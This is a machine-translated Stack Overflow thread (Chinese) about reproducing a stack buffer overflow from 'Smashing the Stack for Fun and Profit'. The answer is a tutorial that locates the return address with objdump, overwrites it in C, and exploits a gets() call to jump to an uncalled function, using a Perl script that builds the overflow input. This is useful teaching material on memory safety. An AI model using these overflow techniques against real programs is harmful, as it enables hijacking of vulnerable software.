试图粉碎堆栈

Mik*_*e G 6 c stack-overflow gcc exploit gnu

我试图重现,我从一个阿莱夫的文章"砸堆栈的乐趣和利润"读计算器结果(可以在这里找到:http://insecure.org/stf/smashstack.html).

试图覆盖返回地址似乎不适合我.

C代码:

            void function(int a, int b, int c) {
               char buffer1[5];
               char buffer2[10];
               int *ret;
               //Trying to overwrite return address
               ret = buffer1 + 12;
               (*ret) = 0x4005da;
            }

            void main() {
              int x;

              x = 0;
              function(1,2,3);
              x = 1;
              printf("%d\n",x);
            }
Run Code Online (Sandbox Code Playgroud)

拆卸主要:

            (gdb) disassemble main
            Dump of assembler code for function main:
               0x00000000004005b0 <+0>:     push   %rbp
               0x00000000004005b1 <+1>:     mov    %rsp,%rbp
               0x00000000004005b4 <+4>:     sub    $0x10,%rsp
               0x00000000004005b8 <+8>:     movl   $0x0,-0x4(%rbp)
               0x00000000004005bf <+15>:    mov    $0x3,%edx
               0x00000000004005c4 <+20>:    mov    $0x2,%esi
               0x00000000004005c9 <+25>:    mov    $0x1,%edi
               0x00000000004005ce <+30>:    callq  0x400564 <function>
               0x00000000004005d3 <+35>:    movl   $0x1,-0x4(%rbp)
               0x00000000004005da <+42>:    mov    -0x4(%rbp),%eax
               0x00000000004005dd <+45>:    mov    %eax,%esi
               0x00000000004005df <+47>:    mov    $0x4006dc,%edi
               0x00000000004005e4 <+52>:    mov    $0x0,%eax
               0x00000000004005e9 <+57>:    callq  0x400450 <printf@plt>
               0x00000000004005ee <+62>:    leaveq
               0x00000000004005ef <+63>:    retq
            End of assembler dump.
Run Code Online (Sandbox Code Playgroud)

我已经硬编码了返回地址以跳过x = 1; 代码行,我使用了反汇编程序的硬编码值(地址:0x4005da).此漏洞的目的是打印0,但它打印1.

我有一种强烈的感觉,"ret = buffer1 + 12;" 不是返回地址的地址.如果是这种情况,我如何确定返回地址,是gcc在返回地址和缓冲区之间分配更多内存.

use*_*100 5

这是我前一段时间为朋友写的关于使用进行缓冲区溢出攻击的指南gets。它讨论了如何获取返回地址以及如何使用它来覆盖旧地址:

我们对堆栈的了解告诉我们,返回地址出现在您尝试溢出的缓冲区之后的堆栈上。但是,返回地址出现在缓冲区后多远取决于您使用的体系结构。为了确定这一点,首先编写一个简单的程序并检查程序集:

C代码:

void function() 
{
    char buffer[4];
}

int main() 
{
    function();
}
Run Code Online (Sandbox Code Playgroud)

组装(精简):

function:
    pushl %ebp
    movl %esp, %ebp
    subl $16, %esp
    leave
    ret
main:
    leal 4(%esp), %ecx
    andl $-16, %esp
    pushl -4(%ecx)
    pushl %ebp
    movl %esp, %ebp
    pushl %ecx
    call function
    ...
Run Code Online (Sandbox Code Playgroud)

您可以使用多种工具来检查汇编代码。首先,当然是使用gcc -S main.c直接编译为gcc的程序集输出。由于几乎没有暗示什么代码对应于原始C代码,因此这可能很难阅读。此外,还有很多样板代码可能很难筛选。要考虑的另一个工具是gdbtui。使用gdbtui的好处是,您可以在运行程序时检查程序集源,并在程序执行期间手动检查堆栈。但是,它具有陡峭的学习曲线。

我最喜欢的程序集检查程序是objdump。运行objdump -dS a.out为汇编源提供了原始C源代码中的上下文。使用objdump,在我的计算机上,从字符缓冲区返回地址的偏移量是8个字节。

此函数function获取返回地址,并将其递增7。最初指向的返回地址的指令长度为7个字节,因此加7使返回地址指向分配后的指令。

在下面的示例中,我覆盖了返回地址以跳过指令x = 1

简单的C程序:

void function() 
{
    char buffer[4];
    /* return address is 8 bytes beyond the start of the buffer */
    int *ret = buffer + 8;
    /* assignment instruction we want to skip is 7 bytes long */
    (*ret) += 7;
}

int main() 
{
    int x = 0;
    function();
    x = 1;
    printf("%d\n",x);
}
Run Code Online (Sandbox Code Playgroud)

主要功能(在80483af处x = 1,长度为7个字节):

8048392: 8d4c2404       lea 0x4(%esp),%ecx
8048396: 83e4f0         and $0xfffffff0,%esp
8048399: ff71fc         pushl -0x4(%ecx)
804839c: 55             push %ebp
804839d: 89e5           mov %esp,%ebp
804839f: 51             push %ecx
80483a0: 83ec24         sub $0x24,%esp
80483a3: c745f800000000 movl $0x0,-0x8(%ebp)
80483aa: e8c5ffffff     call 8048374 <function>
80483af: c745f801000000 movl $0x1,-0x8(%ebp)
80483b6: 8b45f8         mov -0x8(%ebp),%eax
80483b9: 89442404       mov %eax,0x4(%esp)
80483bd: c70424a0840408 movl $0x80484a0,(%esp)
80483c4: e80fffffff     call 80482d8 <printf@plt>
80483c9: 83c424         add $0x24,%esp
80483cc: 59             pop %ecx
80483cd: 5d             pop %ebp
Run Code Online (Sandbox Code Playgroud)

我们知道返回地址在哪里,并且我们已经证明了更改返回地址会影响所运行的代码。缓冲区溢出可以通过使用gets和输入正确的字符串来做同样的事情,以便用新地址覆盖返回地址。

在下面的新示例中,我们有一个函数function,该函数具有使用gets填充的缓冲区。我们还有一个uncalled永远不会被调用的函数。有了正确的输入,我们就可以不运行了。

#include <stdio.h>
#include <stdlib.h>

void uncalled() 
{
    puts("uh oh!");
    exit(1);
}

void function() 
{
    char buffer[4];
    gets(buffer);
}

int main() 
{
    function();
    puts("program secure");
}
Run Code Online (Sandbox Code Playgroud)

要运行uncalled,请使用objdump或类似方法检查可执行文件以找到的入口点的地址uncalled。然后将地址附加到输入缓冲区的正确位置,以便其覆盖旧的返回地址。如果您的计算机是Little-endian(x86等),则需要交换地址的字节序。

为了正确执行此操作,我在下面有一个简单的perl脚本,该脚本生成的输入将导致缓冲区溢出,从而覆盖返回地址。它有两个参数,第一个是新的返回地址,第二个是从缓冲区开始到返回地址位置的距离(以字节为单位)。

#!/usr/bin/perl
print "x"x@ARGV[1];                                            # fill the buffer
print scalar reverse pack "H*", substr("0"x8 . @ARGV[0] , -8); # swap endian of input
print "\n";                                                    # new line to end gets
Run Code Online (Sandbox Code Playgroud)